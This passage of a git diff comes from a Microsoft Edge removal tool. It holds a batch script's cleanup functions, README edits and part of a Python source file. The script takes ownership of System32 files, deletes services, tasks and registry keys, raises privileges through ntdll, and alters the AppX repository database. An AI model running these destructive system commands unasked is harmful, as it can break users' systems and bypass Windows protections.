/q "%TEMP%\wv2_wow.reg" +if exist "%TEMP%\wv2_native.reg" reg import "%TEMP%\wv2_native.reg" %bat_log% & del /f /q "%TEMP%\wv2_native.reg" + +echo [extra_cleanup().registry.inaccessible] %bat_dbg% +call :reg_HKLM_keys_access_and_delete %bat_log% + +REM System32 +echo [extra_cleanup().files.System32] %bat_dbg% +for %%f in ("%SystemRoot%\System32\MicrosoftEdge*.exe") do ( + echo file: "%%~f" %bat_dbg% + takeown /f "%%~f" %bat_log% + icacls "%%~f" /grant "%UserName%:F" /c %bat_log% + del /f /q "%%~f" %bat_log% +) + + +REM Malformed Keys +echo - Fixing registry +echo [extra_cleanup().registry.fix] %bat_dbg% +setlocal EnableDelayedExpansion +set "reg_path=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" +for /f "tokens=*" %%k in ('reg query "%reg_path%" /s 2^>NUL ^| findstr /b /i "%reg_path%"') do ( + set "full_key=%%k" + set "delete_key=false" + set "reason=" + for %%a in ("!full_key!") do set "key_name=%%~nxa" + REM Skip empty or unchanged names + if "!key_name!"=="" ( + set "reason=empty key name" + ) else if "!key_name!"=="!full_key!" ( + set "reason=key name same as full path" + ) else ( + REM Check for space + set "spaced_key=!key_name: =!" + if not "!key_name!"=="!spaced_key!" ( + set "delete_key=true" + ) else ( + REM Check for letters + echo /7 - !key_name! | findstr /r /c:"[a-zA-Z]" >NUL + if !errorlevel! neq 0 set "delete_key=true" + ) + ) + if "!delete_key!"=="true" reg delete "!full_key!" /f >nul 2>&1 +) +endlocal + + +echo [extra_cleanup().end] %bat_dbg% + + + +REM Main script end +echo - Edge removal complete +echo [main_script.end] %bat_dbg% +REM remove hardlinks +del /f /q "%file_setup%" %bat_log% +del /f /q "%file_SQLite%" %bat_log% +echo [main_script.done] %bat_dbg% +exit /b 0 + + + +REM ===== Functions ===== + +REM labels, starts with underscore( _ ), are for internal usage and should not be called from main script +REM labels, starts with regular symbol, are public functions and can be called from main script + + +REM levels of logging verbosity + +:log_lvl.none +REM release mode +set "bat_log=>NUL 2>&1" +set "bat_dbg=>NUL 2>&1" +set "cll_dbg=%bat_dbg%" +set "psl_dbg=*^^^>$null" +set "for_psl_dbg=*^^^^^^^>$null" +REM set "for_psl_dbg_hlpr=" +REM power_hell(even 7.5) put errors to stdout if stderr not redirected +set "for_out_hlpr=2^>NUL" +REM set "for_out_get=" +REM set "for_out_del=" +REM all output mutes so there nothing in console +set "ecm=/c" +REM set "stp_dbg_arg=" +REM set "stp_dbg_get=" +REM set "stp_dbg_rst=" +exit /b 0 + +:log_lvl.errors +REM errors only +set "bat_log=>NUL" +set "bat_dbg=>NUL 2>&1" +set "cll_dbg=%bat_dbg%" +set "psl_dbg=*^^^>$null" +set "for_psl_dbg=*^^^^^^^>$null" +REM set "for_psl_dbg_hlpr=" +set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" +set "for_out_get=1>&2(echo [for.cmd.errors] & type "%~dpn0_hlpr.log" & echo [for.cmd.end])" +set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" +set "ecm=/k" +REM set "stp_dbg_arg=" +REM set "stp_dbg_get=" +REM set "stp_dbg_rst=" +exit /b 0 + +:log_lvl.debug +REM debug mode, put all output to file(except user-trageted output) +set "bat_log=>>"%~dpn0_dbg.log" 2>&1" +set "bat_dbg=>>"%~dpn0_dbg.log" 2>&1" +REM resolves issue with accessing log file from sub-routines +REM set "cll_dbg=" +REM set "psl_dbg=" +REM redirect debug to stderr +REM it can works without extra file but it's a quirk +set "for_psl_dbg=^^^^^^^|dbg2err" +set "for_psl_dbg_hlpr=function dbg2err^([Parameter^(ValueFromPipeline^)]$m^){process{[Console]::Error.WriteLine^($m^)}}" +set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" +set "for_out_get=echo [for.cmd] & type "%~dpn0_hlpr.log" & echo [for.cmd.end]" +set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" +REM all output redirected to file except batch errors +set "ecm=/k" +set "stp_dbg_arg=--verbose-logging" +REM uninstaller log grabber +set "stp_dbg_get=type "%Temp%\msedge_installer.log" %bat_dbg% & type NUL>"%Temp%\msedge_installer.log"" +REM reset existing log +set "stp_dbg_rst=type NUL>"%Temp%\msedge_installer.log"" +REM resolves issue with accessing log file on elevation +timeout /t 1 /nobreak >NUL 2>&1 +REM reset log file if this is not elevation re-run (bad check, cuz someone may pass an argument) +if "%~1" equ "" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" +if /i "%~1" equ "-auto" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" +exit /b 0 + + +REM check script and %tmp% directories for file, check file hash, (re-)download from URL if required +REM if file successfully validated its full path will be stored to variable +REM arguments: file name, file hash, file URL and variable name in this exact order +REM return result as exit code +:file_obtain +echo [file_obtain()] %cll_dbg% +echo name: "%~1" %cll_dbg% +echo hash: "%~2" %cll_dbg% +echo url: "%~3" %cll_dbg% +echo var: "%~4" %cll_dbg% +if "%~1" equ "" goto _file_obtain.fail +if "%~2" equ "" goto _file_obtain.fail +if "%~3" equ "" goto _file_obtain.fail +if "%~4" equ "" goto _file_obtain.fail + +set "on_hash_err=download" +set "file_path=%~dp0%~1" +if exist "%file_path%" goto _file_obtain.check +set "file_path=%tmp%\%~1" +if exist "%file_path%" goto _file_obtain.check + +echo file not cached %cll_dbg% + +:_file_obtain.download +if %has_net% equ 0 goto _file_obtain.net.fail + +echo [file_obtain().download] %cll_dbg% +set "on_hash_err=check.fail" +powershell -noprofile -c "[Net.WebClient]::new().DownloadFile('%~3', '%file_path%')" +if %errorlevel% neq 0 goto _file_obtain.download.fail +if not exist "%file_path%" goto _file_obtain.download.fail + +:_file_obtain.check +echo [file_obtain().check] "%file_path%"; on_hash_err: "%on_hash_err%" %cll_dbg% +powershell -noprofile -c "Import-Module Microsoft.PowerShell.Utility; exit ((Get-FileHash '%file_path%' -Algorithm SHA256).Hash.ToLower() -ne '%~2')" +if %errorlevel% neq 0 goto _file_obtain.%on_hash_err% + +set "%~4=%file_path%" +echo [file_obtain().done] %cll_dbg% +exit /b 0 + +:_file_obtain.fail +set "errorinfo=%ISSUE_GENERIC%: generic" +echo [file_obtain().fail] %cll_dbg% +exit /b %ISSUE_GENERIC% + +:_file_obtain.net.fail +set "errorinfo=%ISSUE_NETWORK%: no network" +echo [file_obtain().net.fail] %cll_dbg% +exit /b %ISSUE_NETWORK% + +:_file_obtain.download.fail +set "errorinfo=%ISSUE_DOWNLOAD%: download error" +echo [file_obtain().download.fail] %cll_dbg% +exit /b %ISSUE_DOWNLOAD% + +:_file_obtain.check.fail +set "errorinfo=%ISSUE_HASH%: hash mismatch" +echo [file_obtain().check.fail] %cll_dbg% +exit /b %ISSUE_HASH% + + +REM remove task by name if name match pattern +:task_remove +set "task_name=%~1" +if "%task_name:~0,1%" neq "\" goto _task_remove.end +if /i "%task_name:\MicrosoftEdge=%" equ "%task_name%" goto _task_remove.end +echo [task_remove()] "%task_name%" %cll_dbg% +schtasks /end /tn "%task_name%" +schtasks /delete /tn "%task_name%" /f +del /f /q "%SystemRoot%\System32\Tasks%task_name%" +echo [task_remove().end] %cll_dbg% + +:_task_remove.end +exit /b 0 + + +REM remove service by name +:service_remove +echo [service_remove()] "%~1" %cll_dbg% +sc stop "%~1" +if %errorlevel% equ 1060 goto _service_remove.end +sc delete "%~1" +reg delete "HKLM\SYSTEM\CurrentControlSet\Services\%~1" /f +echo service removed %cll_dbg% + +:_service_remove.end +echo [service_remove().end] %cll_dbg% +exit /b 0 + + +REM EdgeCore holds the actual Edge/WebView2 engine binaries: each installed +REM version (Edge browser and/or WebView2 Runtime) gets its own subfolder there. +REM This script does not touch WebView2, but a blanket "rd /s /q" on EdgeCore +REM deletes WebView2's active engine files too, breaking it (and anything +REM depending on it, e.g. Windows Search, many Electron/embedded-browser apps). +REM Only delete subfolders that do not match the currently registered WebView2 +REM Runtime version. +:edgecore_cleanup +echo [edgecore_cleanup()] %cll_dbg% +if not exist "%x86ProgramsFolder%\Microsoft\EdgeCore" goto _edgecore_cleanup.end + +set "webview2_ver=" +for /f "tokens=2,*" %%a in ('reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}" /v pv 2^>NUL ^| findstr /i "REG_SZ"') do set "webview2_ver=%%b" +if not defined webview2_ver ( + for /f "tokens=2,*" %%a in ('reg query "HKLM\SOFTWARE\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}" /v pv 2^>NUL ^| findstr /i "REG_SZ"') do set "webview2_ver=%%b" +) +if not defined webview2_ver ( + for /f "tokens=2,*" %%a in ('reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft EdgeWebView" /v DisplayVersion 2^>NUL ^| findstr /i "REG_SZ"') do set "webview2_ver=%%b" +) +if not defined webview2_ver ( + for /f "tokens=2,*" %%a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft EdgeWebView" /v DisplayVersion 2^>NUL ^| findstr /i "REG_SZ"') do set "webview2_ver=%%b" +) +echo webview2_ver: "%webview2_ver%" %cll_dbg% + +REM If unknown in-use version, don't delete anything. +if not defined webview2_ver ( + echo webview2_ver not found - skipping EdgeCore cleanup to avoid breaking WebView2 %cll_dbg% + goto _edgecore_cleanup.end +) + +for /d %%d in ("%x86ProgramsFolder%\Microsoft\EdgeCore\*") do ( + if /i not "%%~nxd" equ "%webview2_ver%" ( + echo removing: "%%~d" %cll_dbg% + rd /s /q "%%~d" %cll_dbg% + ) else ( + echo keeping ^(in use by WebView2^): "%%~d" %cll_dbg% + ) +) +REM remove the now-empty parent folder; fails silently (as intended) if WebView2's subfolder is still there +rd "%x86ProgramsFolder%\Microsoft\EdgeCore" 2>NUL + +:_edgecore_cleanup.end +echo [edgecore_cleanup().end] %cll_dbg% +exit /b 0 + + +REM retrieve location of user profile by user SID +REM call shortcuts removing +REM call cleanup of user registry +:user_cleanup_by_sid +echo [user_cleanup_by_sid()] "%1" %cll_dbg% +if /i "%1" equ "S-1-5-18" goto _user_cleanup_by_sid.end +if /i "%1" equ "S-1-5-19" goto _user_cleanup_by_sid.end +if /i "%1" equ "S-1-5-20" goto _user_cleanup_by_sid.end + +echo accepted %cll_dbg% +for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%\%1" /v ProfileImagePath') do ( set "profile_path=%%~d" ) +call :user_lnks_remove_by_path "%profile_path%" +call :user_reg_cleanup %1 "%profile_path%" + +:_user_cleanup_by_sid.end +echo [user_cleanup_by_sid().end] %cll_dbg% +exit /b 0 + +REM remove shortcuts from several locations of user profile +:user_lnks_remove_by_path +echo [user_lnks_remove_by_path()] "%~1" %cll_dbg% +del /f /q "%~1\Desktop\edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\edge.lnk" +del /f /q "%~1\Desktop\Microsoft Edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk" +del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Microsoft Edge.lnk" + +echo [user_lnks_remove_by_path().end] %cll_dbg% +exit /b 0 + +REM remove some registry keys +REM arguments: user SID and user profile dir path in this exact order +:user_reg_cleanup +echo [user_reg_cleanup()] %cll_dbg% +echo SID: "%1" %cll_dbg% +echo path: "%~2" %cll_dbg% + +echo prepare main hive %cll_dbg% +reg query "HKU\%1" /ve +if %errorlevel% neq 0 reg load "HKU\%1" "%~2\NTUSER.DAT" +if %errorlevel% neq 0 echo main hive load fail %cll_dbg% & goto _user_reg_cleanup.sft.done +echo main hive ready %cll_dbg% + +echo cleanup main hive %cll_dbg% +reg delete "HKU\%1\SOFTWARE\Microsoft\Edge" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\EdgeUpdate" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\MicrosoftEdge" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Internet Explorer\EdgeDebugActivation" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Internet Explorer\EdgeIntegration" /f +reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\Edge" /f +reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate" /f +reg delete "HKU\%1\SOFTWARE\WOW6432Node\Microsoft\MicrosoftEdge" /f + +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\microsoft-edge" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\microsoft-edge-holographic" /f + +REM for current user require explorer restart +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesRemovedChanges" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesVersion" /f +reg delete "HKU\%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" /v "FavoritesChanges" /f + +:_user_reg_cleanup.sft.done +echo [user_reg_cleanup().sft.done] %cll_dbg% + +REM see Both.bat for details +echo probing "SOFTWARE\Classes" %cll_dbg% +set "cls_path=%1\SOFTWARE\Classes" +reg query "HKU\%cls_path%" /ve +if %errorlevel% equ 0 goto _user_reg_cleanup.cls.ready + +echo prepare classes hive %cll_dbg% +set "cls_path=%1_Classes" +reg query "HKU\%cls_path%" /ve +REM location of user classes hive can be altered by user +if %errorlevel% neq 0 reg load "HKU\%cls_path%" "%~2\AppData\Local\Microsoft\Windows\UsrClass.dat" +if %errorlevel% neq 0 echo classes hive load fail %cll_dbg% & goto _user_reg_cleanup.cls.done + +:_user_reg_cleanup.cls.ready +echo classes hive ready %cll_dbg% + +echo cleanup classes hive %cll_dbg% +reg delete "HKU\%cls_path%\microsoft-edge" /f +reg delete "HKU\%cls_path%\microsoft-edge-holographic" /f + +:_user_reg_cleanup.cls.done +echo [user_reg_cleanup().cls.done] %cll_dbg% + +echo [user_reg_cleanup().end] %cll_dbg% +exit /b 0 + + + +REM ===== PowerShell(psl) based complex functions ===== +REM see Both.bat for details + + +REM get access and delete registry keys in HKLM hive +REM keys for TakeOwn+FullControl ONLY should be in reg_HKLM_keys_acs var +REM keys that also should be deleted - in reg_HKLM_keys_del var +REM DO NOT pass keys with values at tail +REM TakeOwn+FullControl operation may fails, but removing attempt will be made anyway +:reg_HKLM_keys_access_and_delete +echo [reg_HKLM_keys_access_and_delete()] %cll_dbg% +if defined reg_HKLM_keys_acs goto _reg_HKLM_keys_access_and_delete.psl +if not defined reg_HKLM_keys_del goto _reg_HKLM_keys_access_and_delete.end +:_reg_HKLM_keys_access_and_delete.psl +echo [reg_HKLM_keys_access_and_delete().psl] %cll_dbg% +echo ;^ +if ($env:reg_HKLM_keys_acs) { $key_paths_acs = $env:reg_HKLM_keys_acs.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ +if ($env:reg_HKLM_keys_del) { $key_paths_del = $env:reg_HKLM_keys_del.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ +$key_paths_acs += $key_paths_del;^ +if (!$key_paths_acs) { exit }^ +$user_ident = [System.Security.Principal.NTAccount]$env:UserName;^ +$access_rule = [System.Security.AccessControl.RegistryAccessRule]::new($user_ident, 0xF003F, 3, 0, 0);^ +$hive_HKLM = [Microsoft.Win32.Registry]::LocalMachine;^ +$ntdll = Add-Type -Member '[DllImport("ntdll.dll")] public static extern int RtlAdjustPrivilege(uint p, bool e, bool t, ref bool l);' -Name NtDll -PassThru;^ +$lp = 0; $tgl_rslt = $ntdll::RtlAdjustPrivilege(9, 1, 0, [ref]$lp);^ +;^ +if ($tgl_rslt -eq 0) {^ + "accessing"%psl_dbg%;^ + foreach ($key_path in $key_paths_acs) {^ + $key_path%psl_dbg%;^ + $key_obj = $hive_HKLM.OpenSubKey($key_path, 2, 0x80000);^ + if (!$key_obj) { "key not found"%psl_dbg%; continue };^ + ^ + ($acl = $key_obj.GetAccessControl()).SetOwner($user_ident);^ + $key_obj.SetAccessControl($acl);^ + $acl.AddAccessRule($access_rule);^ + $key_obj.SetAccessControl($acl);^ + $key_obj.Close();^ + }^ + $ntdll::RtlAdjustPrivilege(9, $lp, 0, [ref]$lp);^ +} else { "TakeOwnership enabling failed (0x{0:x8}); attempt to remove anyway" -f $tgl_rslt%psl_dbg% }^ +;"removing"%psl_dbg%;^ +foreach ($key_path in $key_paths_del) { $key_path%psl_dbg%; $hive_HKLM.DeleteSubKeyTree($key_path) }^ +;| powershell -noprofile - + +:_reg_HKLM_keys_access_and_delete.end +echo [reg_HKLM_keys_access_and_delete().end] %cll_dbg% +exit /b 0 + + +REM unlock and delete all packages from the list +REM list should be in pkgs_list var +REM System.Data.SQLite.dll should be ready to use +:appx_unlock_and_delete +echo [appx_unlock_and_delete()] %cll_dbg% +if not defined pkgs_list goto _appx_unlock_and_delete.end +:_appx_unlock_and_delete.psl +echo [appx_unlock_and_delete().psl] %cll_dbg% +echo function main() {^ + $pkgs = $env:pkgs_list.Split(' ', [StringSplitOptions]::RemoveEmptyEntries);^ + if ($pkgs.Count -eq 0) { "empty packages list"%psl_dbg%; return }^ + $locked_pkgs, $pkgs = $pkgs.Where({$_[0] -eq '1'}, 'Split');^ + $locked_pkgs = $locked_pkgs.ForEach({$_.Substring(1)});^ + $pkgs = $pkgs.ForEach({$_.Substring(1)});^ + ^ + if ($env:reg_SFT_paths_scn) { $reg_sft_paths_scn = $env:reg_SFT_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ + if ($env:reg_CLS_paths_scn) { $reg_cls_paths_scn = $env:reg_CLS_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ + if ($reg_sft_paths_scn -or $reg_cls_paths_scn) {^ + $usids_exclude = @('S-1-5-18', 'S-1-5-19', 'S-1-5-20');^ + $reg_usrs_hives = (reg query "$env:REG_USERS_PATH" /k /f "*").ForEach({$_.Substring($_.LastIndexOf('\')+1)}).Where({$_.StartsWith('S-1-') -and -not $usids_exclude.Contains($_)});^ + $reg_sft_hives = ($reg_usrs_hives.ForEach({"HKU\$_\SOFTWARE\"})) + @('HKU\.DEFAULT\SOFTWARE\', 'HKLM\SOFTWARE\');^ + $reg_cls_hives = ($reg_usrs_hives.ForEach({"HKU\$_`_Classes\"})) + @('HKU\.DEFAULT\SOFTWARE\Classes\', 'HKLM\SOFTWARE\Classes\');^ + }^ + ^ + if ($locked_pkgs.Count -gt 0) {^ + Add-Type -Path $env:file_SQLite;^ + $attempts = 3; $rslt = $false;^ + while ($attempts) { --$attempts; Unlock-Packages $locked_pkgs ([ref]$rslt); if ($rslt) { break }; Start-Sleep 3 }^ + if ($rslt) { $pkgs += $locked_pkgs } else { "package(s) still locked, exclude:`n" + ($locked_pkgs -join "`n")%psl_dbg% }^ + }^ + ^ + "removing"%psl_dbg%;^ + foreach ($pkg in $pkgs) {^ + "package: $pkg`nremove"%psl_dbg%;^ + Remove-AppxPackage -Package $pkg -User $env:USER_SID;^ + Remove-AppxPackage -Package $pkg -AllUsers;^ + ^ + $pkg_parts = $pkg.Split('_');^ + foreach ($reg_sft_hive in $reg_sft_hives) { reg delete "$reg_sft_hive`Microsoft\UserData\UninstallTimes" /v "$($pkg_parts[0])_$($pkg_parts[4])" /f }^ + RegCleanup-Package($pkg_parts);^ + $edge_chnl_pos = $pkg_parts[0].IndexOf('.MicrosoftEdge.');^ + if ($edge_chnl_pos -ge 0) {^ + "cleanup of base package"%psl_dbg%;^ + $pkg_parts[0] = $pkg_parts[0].Substring(0, $edge_chnl_pos + 14);^ + RegCleanup-Package $pkg_parts;^ + }^ + ^ + "deprovision"%psl_dbg%;^ + reg add "$env:REG_APPX_STORE\EndOfLife\$env:USER_SID\$pkg" /f;^ + reg add "$env:REG_APPX_STORE\EndOfLife\S-1-5-18\$pkg" /f;^ + reg add "$env:REG_APPX_STORE\Deprovisioned\$pkg" /f;^ + ^ + "package removed"%psl_dbg%;^ + }^ +}^ +function Unlock-Packages($pkgs, [ref]$rslt) {^ + "[Unlock-Packages()]`nstopping services"%psl_dbg%;^ + $rslt.Value = $false;^ + Stop-Service StateRepository -Force;^ + ^ + "acessing db files"%psl_dbg%;^ + takeown /f "$env:LOC_APPREPO_DB";^ + takeown /f "$env:LOC_APPREPO_DB`-shm";^ + takeown /f "$env:LOC_APPREPO_DB`-wal";^ + icacls "$env:LOC_APPREPO_DB*" /grant "$env:UserName`:F" /c;^ + ^ + "unlocking"%psl_dbg%;^ + $con = [System.Data.SQLite.SQLiteConnection]::new("Data Source=$env:LOC_APPREPO_DB");^ + $con.Open();^ + $cmd = $con.CreateCommand();^ + $cmd.CommandText = "SELECT name,sql FROM sqlite_master WHERE type='trigger' AND tbl_name='Package' AND name LIKE'%%AFTER%%' AND name LIKE'%%UPDATE%%'";^ + $res = $cmd.ExecuteReader();^ + $trgs = @{};^ + while ($res.Read()) { $trgs[$res.GetString(0)] = $res.GetString(1) } $res.Close();^ + ^ + try {^ + foreach ($trg_name in $trgs.Keys) { $cmd.CommandText = "DROP TRIGGER $trg_name"; $cmd.ExecuteNonQuery() }^ + foreach ($pkg in $pkgs) {^ + "package: $pkg"%psl_dbg%;^ + $cmd.CommandText = "UPDATE Package SET IsInbox=0 WHERE PackageFullName='$pkg'"; $cmd.ExecuteNonQuery();^ + reg delete "$env:REG_APPX_STORE\InboxApplications\$pkg" /f;^ + }^ + foreach ($trg_query in $trgs.Values) { $cmd.CommandText = $trg_query; $cmd.ExecuteNonQuery() }^ + "unlocked"%psl_dbg%;^ + $rslt.Value = $true^ + }^ + catch { $_%psl_dbg%; "unlocking failed"%psl_dbg% }^ + ^ + $con.Close();^ + "[Unlock-Packages().end]"%psl_dbg%^ +}^ +function RegCleanup-Package($pkg_fname_parts) {^ + "[RegCleanup-Package()]`nregistry scan"%psl_dbg%;^ + $pkg_name = $pkg_fname_parts[0] + '_';^ + $pkg_pid = '_' + $pkg_fname_parts[4];^ + $reg_pkg_keys = @();^ + foreach ($reg_sft_hive in $reg_sft_hives) {^ + foreach ($reg_sft_path in $reg_sft_paths_scn) {^ + $reg_pkg_keys += (reg query "$reg_sft_hive$reg_sft_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + }^ + }^ + foreach ($reg_cls_hive in $reg_cls_hives) {^ + foreach ($reg_cls_path in $reg_cls_paths_scn) {^ + $reg_pkg_keys += (reg query "$reg_cls_hive$reg_cls_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + }^ + }^ + $reg_pkg_keys += (reg query "$env:REG_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + $reg_pkg_keys += (reg query "$env:REG32_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + ^ + "registry cleanup"%psl_dbg%;^ + foreach ($reg_pkg_key in $reg_pkg_keys) { $reg_pkg_key%psl_dbg%; reg delete $reg_pkg_key /f }^ + "[RegCleanup-Package().end]"%psl_dbg%;^ +}^ +main;^ +;| powershell -noprofile - + +:_appx_unlock_and_delete.end +echo [appx_unlock_and_delete().end] %cll_dbg% +exit /b 0 diff --git a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/README.md b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/README.md index d5330620..b9888fd8 100644 --- a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/README.md +++ b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/README.md @@ -6,36 +6,29 @@ ``` **Requires WebView** -``` +- Barracuda Firewall Admin - Eclipse IDEs - Gmpublisher (Garry's Mod) -- ImageGlass +- ImageGlass 9 (while earlier and later versions do not) - Lenovo USB Recovery Creator Tool - Microsoft Photos App (Edit) -- PowerToys File Explorer add-ons utility +- PowerToys File Explorer add-ons utility (Alternative: [win-svg-thumbs-rust](https://github.com/ThioJoe/win-svg-thumbs-rust)) - Quicken - Rex Atmos for MSFS 2020 - Roblox - Safing Portmaster - Windows Mail - Xbox App -``` - -**EXE Version** - -[Edge Only](https://github.com/ShadowWhisperer/Remove-MS-Edge/releases/latest/download/Remove-Edge.exe) -[No Terminal](https://github.com/ShadowWhisperer/Remove-MS-Edge/releases/latest/download/Remove-EdgeTerm.exe) - Edge only, with no terminal. Useful for Task Scheduler -[Edge + WebView ](https://github.com/ShadowWhisperer/Remove-MS-Edge/releases/latest/download/Remove-EdgeWeb.exe) +- Tauri-based apps (OmniGet, Readest, etc.)
-**Build From Source** +**Build .exe version from source** Depreciated ```pyinstaller --onefile --noconsole -i icon.ico -n Remove-Edge.exe edge.py --add-data "setup.x64.exe;." --add-data "setup.x86.exe;."```
-**Batch Version** (Mostly by [XakerTwo](https://github.com/XakerTwo)) - +**Batch Version** (Mostly by [XakerTwo](https://github.com/XakerTwo)) [Both](https://github.com/ShadowWhisperer/Remove-MS-Edge/blob/main/Batch/Both.bat?raw=true) - Removes both Edge, and WebView. [Edge](https://github.com/ShadowWhisperer/Remove-MS-Edge/blob/main/Batch/Edge.bat?raw=true) - Removes Edge and Appx version of Edge only. [Edge-Appx](https://github.com/ShadowWhisperer/Remove-MS-Edge/blob/main/Batch/Edge-Appx.bat?raw=true) - Remove Appx version of Edge only. Leave Webview / Chrome version alone. @@ -43,8 +36,10 @@
**Additional Files** - Install [Edge](https://www.microsoft.com/en-us/edge/business/download?form=MA13FJ) Install [WebView](https://developer.microsoft.com/en-us/microsoft-edge/webview2/) Fix Update issues: [Batch Script](https://raw.githubusercontent.com/ShadowWhisperer/Fix-WinUpdates/refs/heads/main/Fix%20Updates.bat) + +**Restore "Internet Explorer Compatibility" in Edge settings** +```reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\EdgeIntegration" /v "Supported" /t REG_DWORD /d 1 /f``` diff --git a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/_Source/edge.py b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/_Source/edge.py index 0aa82c9d..66c0680d 100644 --- a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/_Source/edge.py +++ b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/_Source/edge.py @@ -1,307 +1,307 @@ - -# -# This project would not be possible without the support of these awesome people -# https://github.com/ShadowWhisperer/Remove-MS-Edge/graphs/contributors -# - -import ctypes # Check if ran as an admin / Window title -import getpass # Take Permissions -import os # System OS paths -import sys # Check if ran as an admin -import shutil # Folder deletion -import subprocess # Run setup.exe file -import winreg # Modify Windows Registry (Remove Edge Appx Packages) -import re # Regular expression for subkey name validation - - -# Check if ran as admin - Do not force run as admin -if not ctypes.windll.shell32.IsUserAnAdmin(): - print("\n Please run as admin.\n") - os.system("timeout /t 4 >nul") - sys.exit(1) - -# Title -ctypes.windll.kernel32.SetConsoleTitleW("Bye Bye Edge - 2.3 - ShadowWhisperer") - -# Hide CMD/Powershell -def hide_console(): - startupinfo = subprocess.STARTUPINFO() - startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW - return startupinfo - -# Set Paths -PROGRAM_FILES_X86 = os.environ.get("ProgramFiles(x86)", "C:\\Program Files (x86)") -PROGRAM_FILES = os.environ.get("ProgramFiles", "C:\\Program Files") -SYSTEM_ROOT = os.environ.get("SystemRoot", "C:\\Windows") -PROGRAM_DATA = os.environ.get("ProgramData", "C:\\ProgramData") - -# 32 or 64bit - Registry -is_64bit_windows = "ProgramFiles(x86)" in os.environ -access_flag = winreg.KEY_WRITE | (winreg.KEY_WOW64_64KEY if is_64bit_windows else 0) -# 32 or 64bit - setup.exe -setup_name = "setup.x64.exe" if is_64bit_windows else "setup.x86.exe" -src = os.path.join(getattr(sys, '_MEIPASS', os.path.dirname(__file__)), setup_name) - -# Get user profiles -with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") as key: - user_profiles = [winreg.EnumKey(key, i) for i in range(winreg.QueryInfoKey(key)[0])] - USERS_DIR = [winreg.QueryValueEx(winreg.OpenKey(key, profile), "ProfileImagePath")[0] for profile in user_profiles] - -################################################################################################################################################ - -# Edge -for p in [os.path.join(PROGRAM_FILES_X86, "Microsoft\\Edge\\Application\\pwahelper.exe"), os.path.join(PROGRAM_FILES, "Microsoft\\Edge\\Application\\pwahelper.exe")]: - if os.path.exists(p): - print("Removing Microsoft Edge") - cmd = [src, "--uninstall", "--system-level", "--force-uninstall"] - subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True) - os.system("timeout /t 2 >nul") - break - -# WebView -for p in [os.path.join(PROGRAM_FILES_X86, "Microsoft\\EdgeWebView\\Application"), os.path.join(PROGRAM_FILES, 